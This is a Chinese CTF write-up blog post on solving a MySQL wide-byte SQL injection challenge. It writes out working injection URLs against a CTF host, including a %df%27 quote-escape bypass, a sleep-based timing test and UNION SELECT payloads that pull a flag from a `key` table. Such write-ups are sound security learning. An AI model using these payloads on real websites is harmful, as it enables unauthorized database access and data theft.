MySQL宽字节注入漏洞分析_CTF/CTF练习平台 --SQL注入测试【sql宽字节注入与#,#】...

本文详细介绍了在CTF挑战中遇到的一个MySQL宽字节注入问题的解决过程,包括如何识别注入点、尝试不同注入方法,以及最终通过宽字节注入获取flag。在尝试过程中,作者提到了#字符导致的URL解码问题,以及在SQL查询中使用反引号来明确表名和字段的区别,最后成功执行了UNION SELECT查询。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原题内容:

http://103.238.227.13:10083/

这题其实就是考验sql注入基本功,写个wp记录下自己的几个失误点,与大家共同学习

首先,打开页面可见

6cdf52c876cc637c7dd3cc38506fa4f3.png

a77e39b22dc799a592da357b3b1d1729.png

题目提示的很明显了,这是一个注入题,我们肯定得找到注入点,一般的思路都是'闭合导致注入,关键是找到什么数据被传入了数据库,才能确定注入点

按照常规思路,习惯性加上一个index.php,没问题,可以,再试试get进去个变量?id=1(至于道理是什么,我只能说做多了就知道这么尝试,不必细究怎么想到,网址看到了就知道这么试了)

加上?id =1,页面不变,为了进一步确定id与这个页面有关,将id 的get进去的数值修改成0,3,2,4等等,我们会发现,除了0,1,其他的数值都会使页面改变,按照常理,八成就是id这个注入点了

好的首先尝试sqlmap(一般ctf能直接sqlmap跑的都是不存在的,不过还是试试,假如可以就舒服了),不出意料,失败

再,开始尝试手动注入:

http://103.238.227.13:10083/index.php?id=1%27%20and%20sleep(5)#

很遗憾,毫无反应

谈到注入,最简单的当然就是毫无防御的注入了,其次自然是宽字节注入,至于何为宽字节注入,详情参考MySQL宽字节注入漏洞分析

尝试宽字节:

http://103.238.227.13:10083/index.php?id=1%df%27%20and%20sleep(5)#

还是很舒服的,虽然是报错,但是有报错说明已经成功就如数据库执行了,报错如下:

cec6feb918ac8254031444faec4d993f.png

这个报错真的研究了很久,百度也没看到啥解释(吐槽下百度知道的一个回答,不管怎么说,肯定你这语句有问题,,服气,这还是最佳答案)

后来回顾自己以前做的一些注入题,对比了一下,看到了问题

urldecode的问题,#,,,,没错就是这个,自己写成%23就没事了,'之类的的自动转换了,#没有,所以解密的时候有问题,数据库报错

至于%23,这种加密结果怎么来的,很简单,对应的ascii表,16进制的数字加上%就是urlencode的结果

http://103.238.227.13:10083/index.php?id=1%df%27%20and%20sleep(5)%23

2056305076b592ecb6e22e71a68cf62c.png

果然没问题,五秒延迟显示

接下来就开始select

http://103.238.227.13:10083/index.php?id=1%df%27%20union%20select%20string%20from%20key%20where%20id%20=1%23

2eef99b7a5013abb143785713e2cb1de.png

又有报错,语法错误,执行不了

这里补充第二个点,表要用``框起来(注意不是单引号,是键盘1左边键上面的那个符号,反单引号)

这里看了一下别人的wp也有人说是,key字段名与表名重复,所以表带上了sql5.key,而``是明确告诉是key表,也区分开了表与字段

http://103.238.227.13:10083/index.php?id=1%df%27%20union%20select%20string%20from%20`key`%20where%20id%20=1%23

第三处重点

7d6680a79d5b0082370c907561ca4b2a.png

这个其实还是很好理解的啊,看一下输出格式就知道了,格式与输出的不匹配,所以加上一列

http://103.238.227.13:10083/index.php?id=1%df%27%20union%20select%202,string%20from%20`key`%20where%20id%20=1%23

没问题,拿到flag了,这里的数字2是我随意加的,反正加一列满足下格式就行了

7f242596c4726caacfe02120a6b20717.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值